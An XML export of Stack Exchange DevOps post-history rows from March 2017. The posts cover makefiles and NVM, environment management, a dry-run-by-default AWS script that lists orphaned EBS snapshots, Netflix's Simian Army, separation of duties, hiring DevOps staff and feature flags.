  <row Id="2008" PostHistoryTypeId="2" PostId="629" RevisionGUID="563905ca-45b6-4a71-8363-99ee80a4d6cc" CreationDate="2017-03-23T11:14:26.990" UserId="2" Text="If I need to use something like NVM in my makefile, I run into a problem, because NVM exports some bash functions that are not available in Make, even if my shell is defined as bash in the makefile.&#xD;&#xA;&#xD;&#xA;How do I cause make to &quot;inherit&quot; all the parent shell's functions? Is there a way to make NVM accessible to a makefile, without writing `export -f` for a zillion little NVM bash functions?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2009" PostHistoryTypeId="1" PostId="629" RevisionGUID="563905ca-45b6-4a71-8363-99ee80a4d6cc" CreationDate="2017-03-23T11:14:26.990" UserId="2" Text="How can I make use of bash functions in a makefile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2010" PostHistoryTypeId="3" PostId="629" RevisionGUID="563905ca-45b6-4a71-8363-99ee80a4d6cc" CreationDate="2017-03-23T11:14:26.990" UserId="2" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2011" PostHistoryTypeId="2" PostId="630" RevisionGUID="7fa2b2d7-65a7-4950-a544-827a28c0e670" CreationDate="2017-03-23T13:13:59.087" UserId="397" Text="I've had some very interesting conversations today about the role of Environment Management within teams that follow DevOps practices.  The traditional role of an *Environment Manager* was someone who:&#xD;&#xA;&#xD;&#xA;&gt; Took overall responsibility for coordinating multiple teams and components at all stages of the software development life cycle, SDLC, to ensure that a known sets of software versions are delivered and available in a timely manner.&#xD;&#xA;&#xD;&#xA;It is my belief that in a cross-functional Agile team following DevOps practices these responsibilities belong to the team as a whole, ultimately being accountable to the Product Owner as the representative of the business.&#xD;&#xA;&#xD;&#xA;**In short, my question is** who is... responsible for Environment Management in a team following DevOps practices, i.e., one that does not have an external Environment Manager function available to them." ContentLicense="CC BY-SA 3.0" />
  <row Id="2012" PostHistoryTypeId="1" PostId="630" RevisionGUID="7fa2b2d7-65a7-4950-a544-827a28c0e670" CreationDate="2017-03-23T13:13:59.087" UserId="397" Text="How does 'Environment Management' work in a DevOps world?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2013" PostHistoryTypeId="3" PostId="630" RevisionGUID="7fa2b2d7-65a7-4950-a544-827a28c0e670" CreationDate="2017-03-23T13:13:59.087" UserId="397" Text="&lt;agile&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2014" PostHistoryTypeId="2" PostId="631" RevisionGUID="31363184-3a70-48c5-8723-68eb3f412dae" CreationDate="2017-03-23T13:29:21.453" UserId="13" Text="I see three way to handle this need.&#xD;&#xA;&#xD;&#xA;1. The software declare its dependencies and is released with each dependency at the correct version independently of others. This may create problems if two version of the same dependency are not compatible for database access for example and need a system above to ensure only compatibles version are deployed toward an environment, the way to achieve it may vary depending on the tooling and is quite hard to get it right.&#xD;&#xA;&#xD;&#xA;2. The software declare its dependencies, and if current available version of one dependency on the target environment doesn't match, the deploy stop and keep actual version the software. The team has then to coordinate with the dependency team to know when they'll be able to deploy. Main drawback is the delay this can bring in the release train. Here again the way to achieve it may vary depending on the tooling.&#xD;&#xA;&#xD;&#xA;3. Cross teams made from members of each team, to handle the coordination of versions toward release. This help getting things at the right time but doesn't enforce any control.&#xD;&#xA;&#xD;&#xA;Best setup in my opinion is 2+3 above, to handle any problem of missed dependency while enforcing a communication between separate teams and allowing releases compatible with multiple version of the dependencies. this need to keep trace of this kind of behavior change to remove the unneeded old API handling once it is not on line anymore.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2015" PostHistoryTypeId="5" PostId="628" RevisionGUID="fbd2ea69-80a0-48ad-ba26-14896dab220d" CreationDate="2017-03-23T13:52:42.070" UserId="13" Comment="added 11 characters in body" Text="Largely inspired by the blog posts and gist already linked in the other answers, here is my take to the problem.&#xD;&#xA;&#xD;&#xA;I did use some convoluted [JMESpath](http://jmespath.org/) functions to get a list of snapshots and not require `tr`.&#xD;&#xA;&#xD;&#xA;*Disclaimer*: Use at your **own risks**, I did my best to avoid any problem and keep sane defaults, but I won't take any blame if it cause problem to you.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # remove x if you don't want to see the commands&#xD;&#xA;    set -ex&#xD;&#xA;    &#xD;&#xA;    # Some variable initialisation with sane defaults&#xD;&#xA;    DRUN='--dry-run'&#xD;&#xA;    DO_DELETE=${1:-'no'}&#xD;&#xA;    REGION=${2:-'eu-west-1'}&#xD;&#xA;    ACCOUNTID=${3:-'self'}&#xD;&#xA;    &#xD;&#xA;    # Get two temporary files&#xD;&#xA;    SNAP_FILE=$(mktemp)&#xD;&#xA;    IMAGE_FILE=$(mktemp)&#xD;&#xA;    &#xD;&#xA;    # Get the snapshot list and the volume list&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-snapshots --owner-ids &quot;$ACCOUNTID&quot; --query 'join(`\n`,Snapshots[*].SnapshotId)' --output text &gt; &quot;$SNAP_FILE&quot;&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-images --owners &quot;$ACCOUNTID&quot; --filters Name=state,Values=available --query 'Images[*].BlockDeviceMappings[*].Ebs.SnapshotId' --output text &gt; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if the outputed command should be dry-run (default) or not&#xD;&#xA;    if [ &quot;$DO_DELETE&quot; = &quot;IAMSURE&quot; ]&#xD;&#xA;    then&#xD;&#xA;     DRUN=''&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # count each snapshot id, decrease when a volume reference it, print delete command for those with no volumes&#xD;&#xA;    awk -v REGION=&quot;$REGION&quot; -v DRUN=&quot;$DRUN&quot; '&#xD;&#xA;    FNR==NR { snap[$1]++; next } # increment snapshots and get to next line in file immediately&#xD;&#xA;    &#xD;&#xA;    { snap[$1]-- } # we changed file, decrease the snap counter when a volume reference it&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;     for (s in snap) { # loop over the snapshots&#xD;&#xA;       if (snap[s] &gt; 0) { # if we did not decrese under 1 that means there is no volume referencing this snapshot&#xD;&#xA;        cmd=&quot;aws --region &quot; REGION &quot; &quot; DRUN &quot; ec2 delete-snapshot --snapshot-id &quot; s&#xD;&#xA;        print(cmd)&#xD;&#xA;      }&#xD;&#xA;     }&#xD;&#xA;    }&#xD;&#xA;    ' &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    # Clean up the temp files&#xD;&#xA;    rm &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope the script itself is commented enough.&#xD;&#xA;&#xD;&#xA;Default usage (no-params) will list delete commands of orphaned snapshots for the current account and region eu-west-1, extract:&#xD;&#xA;&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-81e5856a&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-95c68c7e&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-a3bf50bd&#xD;&#xA;&#xD;&#xA;You can redirect this output to a file for review before sourcing it to execute all the commands.&#xD;&#xA;&#xD;&#xA;If you want the script to execute the command instead of printing them, replace `print(cmd)` by `system(cmd)`.&#xD;&#xA;&#xD;&#xA;Usage is as follow with a script named `snap_cleaner`:&#xD;&#xA;&#xD;&#xA;for dry-run commands in us-west-1 region&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner no us-west-1&#xD;&#xA;&#xD;&#xA;for usable commands in eu-central-1&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner IAMSURE eu-central-1 &#xD;&#xA;&#xD;&#xA;A third parameter can be used to access another account (I do prefer to switch role to another account before)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2016" PostHistoryTypeId="5" PostId="628" RevisionGUID="ca49ceb7-0232-4349-8cee-f8718ae6d93d" CreationDate="2017-03-23T14:02:39.677" UserId="13" Comment="added 1349 characters in body" Text="Largely inspired by the blog posts and gist already linked in the other answers, here is my take to the problem.&#xD;&#xA;&#xD;&#xA;I did use some convoluted [JMESpath](http://jmespath.org/) functions to get a list of snapshots and not require `tr`.&#xD;&#xA;&#xD;&#xA;*Disclaimer*: Use at your **own risks**, I did my best to avoid any problem and keep sane defaults, but I won't take any blame if it cause problem to you.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # remove x if you don't want to see the commands&#xD;&#xA;    set -ex&#xD;&#xA;    &#xD;&#xA;    # Some variable initialisation with sane defaults&#xD;&#xA;    DRUN='--dry-run'&#xD;&#xA;    DO_DELETE=${1:-'no'}&#xD;&#xA;    REGION=${2:-'eu-west-1'}&#xD;&#xA;    ACCOUNTID=${3:-'self'}&#xD;&#xA;    &#xD;&#xA;    # Get two temporary files&#xD;&#xA;    SNAP_FILE=$(mktemp)&#xD;&#xA;    IMAGE_FILE=$(mktemp)&#xD;&#xA;    &#xD;&#xA;    # Get the snapshot list and the volume list&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-snapshots --owner-ids &quot;$ACCOUNTID&quot; --query 'join(`\n`,Snapshots[*].SnapshotId)' --output text &gt; &quot;$SNAP_FILE&quot;&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-images --owners &quot;$ACCOUNTID&quot; --filters Name=state,Values=available --query 'Images[*].BlockDeviceMappings[*].Ebs.SnapshotId' --output text &gt; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if the outputed command should be dry-run (default) or not&#xD;&#xA;    if [ &quot;$DO_DELETE&quot; = &quot;IAMSURE&quot; ]&#xD;&#xA;    then&#xD;&#xA;     DRUN=''&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # count each snapshot id, decrease when a volume reference it, print delete command for those with no volumes&#xD;&#xA;    awk -v REGION=&quot;$REGION&quot; -v DRUN=&quot;$DRUN&quot; '&#xD;&#xA;    FNR==NR { snap[$1]++; next } # increment snapshots and get to next line in file immediately&#xD;&#xA;    &#xD;&#xA;    { snap[$1]-- } # we changed file, decrease the snap counter when a volume reference it&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;     for (s in snap) { # loop over the snapshots&#xD;&#xA;       if (snap[s] &gt; 0) { # if we did not decrese under 1 that means there is no volume referencing this snapshot&#xD;&#xA;        cmd=&quot;aws --region &quot; REGION &quot; &quot; DRUN &quot; ec2 delete-snapshot --snapshot-id &quot; s&#xD;&#xA;        print(cmd)&#xD;&#xA;      }&#xD;&#xA;     }&#xD;&#xA;    }&#xD;&#xA;    ' &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    # Clean up the temp files&#xD;&#xA;    rm &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope the script itself is commented enough.&#xD;&#xA;&#xD;&#xA;Default usage (no-params) will list delete commands of orphaned snapshots for the current account and region eu-west-1, extract:&#xD;&#xA;&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-81e5856a&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-95c68c7e&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-a3bf50bd&#xD;&#xA;&#xD;&#xA;You can redirect this output to a file for review before sourcing it to execute all the commands.&#xD;&#xA;&#xD;&#xA;If you want the script to execute the command instead of printing them, replace `print(cmd)` by `system(cmd)`.&#xD;&#xA;&#xD;&#xA;Usage is as follow with a script named `snap_cleaner`:&#xD;&#xA;&#xD;&#xA;for dry-run commands in us-west-1 region&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner no us-west-1&#xD;&#xA;&#xD;&#xA;for usable commands in eu-central-1&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner IAMSURE eu-central-1 &#xD;&#xA;&#xD;&#xA;A third parameter can be used to access another account (I do prefer to switch role to another account before).&#xD;&#xA;&#xD;&#xA;Stripped down version of the script with awk script as a oneliner:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    set -ex&#xD;&#xA;    &#xD;&#xA;    # Some variable initialisation with sane defaults&#xD;&#xA;    DRUN='--dry-run'&#xD;&#xA;    DO_DELETE=${1:-'no'}&#xD;&#xA;    REGION=${2:-'eu-west-1'}&#xD;&#xA;    ACCOUNTID=${3:-'self'}&#xD;&#xA;    &#xD;&#xA;    # Get two temporary files&#xD;&#xA;    SNAP_FILE=$(mktemp)&#xD;&#xA;    IMAGE_FILE=$(mktemp)&#xD;&#xA;    &#xD;&#xA;    # Get the snapshot list and the volume list&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-snapshots --owner-ids &quot;$ACCOUNTID&quot; --query 'join(`\n`,Snapshots[*].SnapshotId)' --output text &gt; &quot;$SNAP_FILE&quot;&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-images --owners &quot;$ACCOUNTID&quot; --filters Name=state,Values=available --query 'Images[*].BlockDeviceMappings[*].Ebs.SnapshotId' --output text &gt; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if the outputed command should be dry-run (default) or not&#xD;&#xA;    if [ &quot;$DO_DELETE&quot; = &quot;IAMSURE&quot; ]&#xD;&#xA;    then&#xD;&#xA;     DRUN=''&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # count each snapshot id, decrease when a volume reference it, print delete command for those with no volumes&#xD;&#xA;    awk -v REGION=&quot;$REGION&quot; -v DRUN=&quot;$DRUN&quot; 'FNR==NR { snap[$1]++; next } { snap[$1]-- } END { for (s in snap) { if (snap[s] &gt; 0) { cmd=&quot;aws --region &quot; REGION &quot; &quot; DRUN &quot; ec2 delete-snapshot --snapshot-id &quot; s; print(cmd) } } }' &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    # Clean up the temp files&#xD;&#xA;    rm &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2017" PostHistoryTypeId="2" PostId="632" RevisionGUID="287dae65-a416-4cda-856e-665067dad05c" CreationDate="2017-03-23T16:13:10.823" UserId="72" Text="I've never heard of an &quot;Environment Manager.&quot;  Release Management, on the other hand, has historically been consolidated to a single person or team.  &#xD;&#xA;&#xD;&#xA;In a DevOps model, Release Management is more of a process supported by elements from both Dev and Ops.  Organizations at high levels of &quot;DevOps maturity&quot; don't really have a distinct Release Management *event*- the act of releasing is baked into the Continuous Delivery pipeline (see &quot;push on green&quot; http://devops.stackexchange.com/questions/573/what-is-push-on-green)  &#xD;&#xA;&#xD;&#xA;It's possible the OP is also referring to *Configuration Management*, where environment-specific configurations are managed manually, or by tools like Puppet or Chef.  That work is traditionally an Ops-managed task, with higher-maturity orgs handling that through code.  Responsibility may be shared between Dev and Ops, or there may be a dedicated SRE team that deals with Config Management.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2018" PostHistoryTypeId="5" PostId="626" RevisionGUID="2673685d-139b-4bcf-91a1-63a9a8bcdb31" CreationDate="2017-03-23T16:40:24.670" UserId="40" Comment="added 305 characters in body" Text="Some additions to your own answer to this question ...&#xD;&#xA;&#xD;&#xA;### Additional monkeys&#xD;&#xA;&#xD;&#xA;The article about &quot;[How chaos boosts performance][1]&quot; describes a few more of these monkeys, i.e.:&#xD;&#xA;&#xD;&#xA;&gt; - **10-18 Monkey**: finds configuration and run time problems in instances that serve customers in multiple regions.&#xD;&#xA;&gt; - **Chaos Kong**: simulates an outage of an Amazon region.&#xD;&#xA;&#xD;&#xA;Remark: The same article also mentions &quot;Chaos Gorilla: simulates an outage of an Amazon availability zone&quot;, though it could well be that this has been renamed now to &quot;Chaos Kong: simulates an outage of an Amazon region&quot; ... Talking about *Chaos*! I couldn't find any confirmation/docu on that so far, at least there does not seem to be an issue for it in the [issue queue][2]. An undocumented change might have made it to production on github ... Gggggggrrrrrreat!&#xD;&#xA;&#xD;&#xA;### Setup and use your own Monkeys.&#xD;&#xA;&#xD;&#xA;Head over to github to [get in touch with the Simian Army][3] (same link as the very first link in your own answer). Here is a quote of what you'll find there:&#xD;&#xA;&#xD;&#xA;&gt; Simian Army consists of services (Monkeys) in the cloud for generating various kinds of failures, detecting abnormal conditions, and testing our ability to survive them. The goal is to keep our cloud safe, secure, and highly available. More details can be found at [this blog][4].&#xD;&#xA;&#xD;&#xA;&gt; Currently the simians include [Chaos Monkey][5], [Janitor Monkey][6], and [Conformity Monkey][7].&#xD;&#xA;&#xD;&#xA;&gt; Refer to the [Quick start guide][8] to get started setting up and using the Monkeys.&#xD;&#xA;&#xD;&#xA;You can even [configure][9] the monkyes, so that they fit your business needs.&#xD;&#xA;&#xD;&#xA;If you dig deep enough within those Github links (i.e within the [Support][10] link), you'll also find a link to join the [SimianArmy Google Group][11].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://acutest.co.uk/blog/chaos-monkey&#xD;&#xA;  [2]: https://github.com/Netflix/SimianArmy/issues&#xD;&#xA;  [3]: https://github.com/Netflix/SimianArmy/wiki&#xD;&#xA;  [4]: http://techblog.netflix.com/2011/07/netflix-simian-army.html&#xD;&#xA;  [5]: https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey&#xD;&#xA;  [6]: https://github.com/Netflix/SimianArmy/wiki/Janitor-Home&#xD;&#xA;  [7]: https://github.com/Netflix/SimianArmy/wiki/Conformity-Home&#xD;&#xA;  [8]: https://github.com/Netflix/SimianArmy/wiki/Quick-Start-Guide&#xD;&#xA;  [9]: https://github.com/Netflix/SimianArmy/wiki/Configuration&#xD;&#xA;  [10]: https://github.com/Netflix/SimianArmy/wiki/Support&#xD;&#xA;  [11]: http://groups.google.com/group/simianarmy-users" ContentLicense="CC BY-SA 3.0" />
  <row Id="2019" PostHistoryTypeId="2" PostId="633" RevisionGUID="424d5a15-dce5-4549-9a69-c8c7590a7803" CreationDate="2017-03-23T17:44:40.087" UserId="350" Text="These are strategies/patterns I can think of:&#xD;&#xA;&#xD;&#xA;### [Separation of Duty][1]&#xD;&#xA;&#xD;&#xA;DevOps, to my view at least, does not means embodying of both dev and ops in a single person. So it is still possible to separate the duty such that the one writing the code (dev) is not the one executing it (ops).&#xD;&#xA;&#xD;&#xA;For example, if an SQL statement is to be executed on the live environment, one writes the SQL and another executes it.&#xD;&#xA;What this presupposed is the the one executing need to also have an understanding of the SQL and not just execute.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Deploy trigger&#xD;&#xA;&#xD;&#xA;While there are merit to continuously deploy. Team in a more regulated industry can appoint another (separate) party to trigger the deploy instead of deploying automatically. Checklist, automated tests, checksums are possible checks before triggering deploy.&#xD;&#xA;&#xD;&#xA;Once triggered, the automation can go ahead to execute the deployment.&#xD;&#xA;&#xD;&#xA;### [Pair Programming][2]&#xD;&#xA;&#xD;&#xA;Personally I have not cited this technique as a method to auditor to satisfy the check and balance principle. But potentially I think it can be a strategy.&#xD;&#xA;&#xD;&#xA;### [MFA][3]&#xD;&#xA;&#xD;&#xA;I might be stretching a little with this one, but it is possible that for some reason that you don't want unilateral entry into a system, someone can hold the password and another person hold the token or device for one time code. So that, 2 person must be present to assess the system.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Separation_of_duties&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Pair_programming&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Multi-factor_authentication" ContentLicense="CC BY-SA 3.0" />
  <row Id="2020" PostHistoryTypeId="2" PostId="634" RevisionGUID="cc843e8e-d81c-4177-a736-61b3b61a2fdb" CreationDate="2017-03-23T18:31:39.853" UserId="350" Text="At the risk of getting vote down, off-topic  or even heresy, I going to tell you, &#xD;&#xA;&quot;Don't listen to the purists telling you that DevOps is not a role.&quot;&#xD;&#xA;&#xD;&#xA;You are on the right track. **It should fits your company.** That's what matters when hiring.&#xD;&#xA;&#xD;&#xA;If you need a DevOps, to work like a DevOps, produce results like DevOps, it is a DevOps. &#xD;&#xA;&#xD;&#xA;Don't let anyone dissuade you otherwise.&#xD;&#xA;&#xD;&#xA;Advertise anyway.&#xD;&#xA;&#xD;&#xA;Interview anyway.&#xD;&#xA;&#xD;&#xA;Hire anyway.&#xD;&#xA;&#xD;&#xA;While at that, find out more about DevOps, how the concept can fit into your company, how does the person fits in.&#xD;&#xA;&#xD;&#xA;Distill out more about the role you need to fill. Search for questions you can ask. There are plenty of [example][1], even if you are not subject matter expert. Some good old-fashioned patience and hardwork.&#xD;&#xA;&#xD;&#xA;Do you need an employee? Or freelancer? A jack of all trades? Only you know your company well. &#xD;&#xA;&#xD;&#xA;Create your unique culture that is your interpretation of DevOps.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.quora.com/What-are-some-good-interview-questions-for-a-DevOps-position" ContentLicense="CC BY-SA 3.0" />
  <row Id="2021" PostHistoryTypeId="2" PostId="635" RevisionGUID="878bda5a-f79d-4ad6-befb-2704a659a7a5" CreationDate="2017-03-23T21:03:02.937" UserId="228" Text="There are two possibilities: &#xD;&#xA;&#xD;&#xA; 1. You need help figuring out what are the changes your company needs to go through on your journey to DevOps. &#xD;&#xA;&#xD;&#xA; 2. You know what you need and just look to hire people to implement this vision for you.&#xD;&#xA;&#xD;&#xA;If you need someone to help you figure out which issues you need to concentrate on, there is a really good company called [DORA][1] (DevOps Research and Assessment), which is cofounded by Dr. Nicole Forsgren, Jez Humble and Gene Kim. Nicole has run the [State of DevOps][2] survey for years and has been keeping detailed statistics of the industry for years. Jez Humble is a guru of Continuous Delivery and literally wrote [the book][3] on it. Gene Kim is the author of [The Phoenix Project][4] and the last two are co-authors of [The DevOps Handbook][5]. DORA provides an [assessment][6] of your company and help you answer those questions.&#xD;&#xA;&#xD;&#xA;If you have a pretty good idea where you need to go and need someone to help you get there, getting a recruitment agency is probably not a good idea at this point. I would suggest to go to DevOps Enterprise [DOES Conference][7] or local [DevOpsDays Conference][8] and talk to people in the hallways. Look for recommendations and maybe even open a booth, make a poster about hiring.&#xD;&#xA;&#xD;&#xA;Second option would be to come here and start asking those questions in this forum and look for the experts that answer them and get up-voted. Many of those might be actually looking for a job or a challenge. Sometimes even asking questions about your current situation and use case here could point you to the right course of action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops-research.com&#xD;&#xA;  [2]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report&#xD;&#xA;  [3]: http://a.co/iCdMtDo&#xD;&#xA;  [4]: http://a.co/6ze2QvB&#xD;&#xA;  [5]: http://a.co/1UiVWxV&#xD;&#xA;  [6]: https://devops-research.com/assessment.html&#xD;&#xA;  [7]: http://events.itrevolution.com&#xD;&#xA;  [8]: https://www.devopsdays.org" ContentLicense="CC BY-SA 3.0" />
  <row Id="2022" PostHistoryTypeId="2" PostId="636" RevisionGUID="6347df78-6c95-470d-943c-c08c5a2fa99c" CreationDate="2017-03-23T22:24:47.110" UserId="788" Text="I look for a number of things in the people I have hired into this space.&#xD;&#xA;&#xD;&#xA; - a minimum of 'ha' level of agile (google shu, ha, ri for agile adoption if you need more)&#xD;&#xA; - technical hands-on experience - coding, automation, etc, but I'm tool and language agnostic&#xD;&#xA; - learning personality - they take the initiative to constantly learn&#xD;&#xA; - inquisitive and not looking to place blame - they can accept failure as a learning lesson&#xD;&#xA; - they are a team player who can trust and be trusted since psychological safety is the number one success factor for high performing teams&#xD;&#xA; - they can coach and mentor - they share their knowledge without being an a**hole - prima donnas have no place on high performing teams&#xD;&#xA; - they have &quot;enough&quot; social skills since they need to be team members and communicate well&#xD;&#xA;&#xD;&#xA;I have yet to find a perfect candidate, so it's always some type of trade-off. In today's world, I looked through 65+ resumes that were &quot;pre-qualified&quot; as candidates by agencies and HR, discarded 50 or more as not meeting my minimum requirements on paper, interviewed 15+, and hired 3. This process took me the better part of 9 months." ContentLicense="CC BY-SA 3.0" />
  <row Id="2023" PostHistoryTypeId="5" PostId="636" RevisionGUID="ad80f12e-ba04-4cf1-86e7-7d84de4b42ab" CreationDate="2017-03-23T22:41:58.403" UserId="13" Comment="Don't rely on starts to censor bad words, find a proper alrernative" Text="I look for a number of things in the people I have hired into this space.&#xD;&#xA;&#xD;&#xA; - a minimum of 'ha' level of agile (google shu, ha, ri for agile adoption if you need more)&#xD;&#xA; - technical hands-on experience - coding, automation, etc, but I'm tool and language agnostic&#xD;&#xA; - learning personality - they take the initiative to constantly learn&#xD;&#xA; - inquisitive and not looking to place blame - they can accept failure as a learning lesson&#xD;&#xA; - they are a team player who can trust and be trusted since psychological safety is the number one success factor for high performing teams&#xD;&#xA; - they can coach and mentor - they share their knowledge without being elitist - prima donnas have no place on high performing teams&#xD;&#xA; - they have &quot;enough&quot; social skills since they need to be team members and communicate well&#xD;&#xA;&#xD;&#xA;I have yet to find a perfect candidate, so it's always some type of trade-off. In today's world, I looked through 65+ resumes that were &quot;pre-qualified&quot; as candidates by agencies and HR, discarded 50 or more as not meeting my minimum requirements on paper, interviewed 15+, and hired 3. This process took me the better part of 9 months." ContentLicense="CC BY-SA 3.0" />
  <row Id="2024" PostHistoryTypeId="2" PostId="637" RevisionGUID="124f23d9-dbfc-4fd5-b4ba-8ed238971d65" CreationDate="2017-03-23T23:04:14.337" UserId="788" Text="When you find this type of issue, you should write some new extremely quick running acceptance tests that can eke out these issues, and add them to your build verification tests that run prior to your integration tests. You should constantly be shifting left and trying to shorten the feedback loop to the developers committing changes. If you cannot find a way to do this, perhaps your architecture isn't as agile as it needs to be.&#xD;&#xA;&#xD;&#xA;@Dan Cornilescu - your scenario is valid for tightly coupled architectures which is why loosely coupled architectures (microservices of versioned RESTful APIs) have emerged as the current best practice in high performing organizations. These matrix of services organizations have other complexities to overcome though.&#xD;&#xA;&#xD;&#xA;Sometimes you need to refactor your entire architecture to overcome issues such as these. I believe it was both Google and eBay that have **completely** rearchitected their platforms 5 times (in a span of something like 10 years) due to constraints their previous architecture imposed upon them. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2025" PostHistoryTypeId="4" PostId="537" RevisionGUID="b15e48cd-401b-4628-9bdf-a8b3c7d646b0" CreationDate="2017-03-24T10:59:46.427" UserId="210" Comment="edited title" Text="Why is one not allowed to use a Boolean in a docker-compose.yml?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2026" PostHistoryTypeId="2" PostId="638" RevisionGUID="41e797a0-557f-4d99-a89c-91b96069525e" CreationDate="2017-03-24T14:07:51.983" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2027" PostHistoryTypeId="1" PostId="638" RevisionGUID="41e797a0-557f-4d99-a89c-91b96069525e" CreationDate="2017-03-24T14:07:51.983" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2028" PostHistoryTypeId="2" PostId="639" RevisionGUID="e379ba1c-1de0-4283-b8d6-05dee7b1c1d8" CreationDate="2017-03-24T14:07:51.983" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2029" PostHistoryTypeId="1" PostId="639" RevisionGUID="e379ba1c-1de0-4283-b8d6-05dee7b1c1d8" CreationDate="2017-03-24T14:07:51.983" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2030" PostHistoryTypeId="5" PostId="638" RevisionGUID="17d87373-098f-4644-9a7a-3b97b8d9b383" CreationDate="2017-03-24T14:27:30.777" UserId="397" Comment="added 812 characters in body" Text="Feature flags are a technique applied by Software Engineers to code bases, allowing teams to modify system behaviour without changing code.  Feature flags are one of the techniques used to separate the activity of deployment from the activity of release.&#xD;&#xA;&#xD;&#xA;Feature flags are closely related to the concept of [tag:feature-toggles].&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA; - [Martin Fowler's Article: Feature Toggles][1]&#xD;&#xA; - [DevOps StackExchange: What's the difference between Feature Flags and Feature Toggles][2]&#xD;&#xA; - [Launch Darkly's Article: Feature Flags][3]&#xD;&#xA; - [StackOverflow: What is a &quot;feature flag&quot;?][4]&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/articles/feature-toggles.html&#xD;&#xA;  [2]: http://devops.stackexchange.com/q/383/397&#xD;&#xA;  [3]: https://launchdarkly.com/featureflags.html&#xD;&#xA;  [4]: http://stackoverflow.com/q/7707383/74302" ContentLicense="CC BY-SA 3.0" />
  <row Id="2031" PostHistoryTypeId="24" PostId="638" RevisionGUID="17d87373-098f-4644-9a7a-3b97b8d9b383" CreationDate="2017-03-24T14:27:30.777" Comment="Proposed by 397 approved by 40, 13 edit id of 184" ContentLicense="CC BY-SA 3.0" />
  <row Id="2032" PostHistoryTypeId="2" PostId="640" RevisionGUID="ddeff5be-1c81-48ea-9ce6-1dc4a94be908" CreationDate="2017-03-24T15:16:50.210" UserId="38" Text="I would hesitate to describe your once per day model as CI/CD.  It sounds a lot like the &quot;nightly build&quot; model. It really depends on the nature of your work and processes.  If things flow smoothly through building, testing, and preparation of an artifact for deployment and your development  model / velocity isn't such that it would benefit from more frequent runs, I would say you have the spirt of CI/CD.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
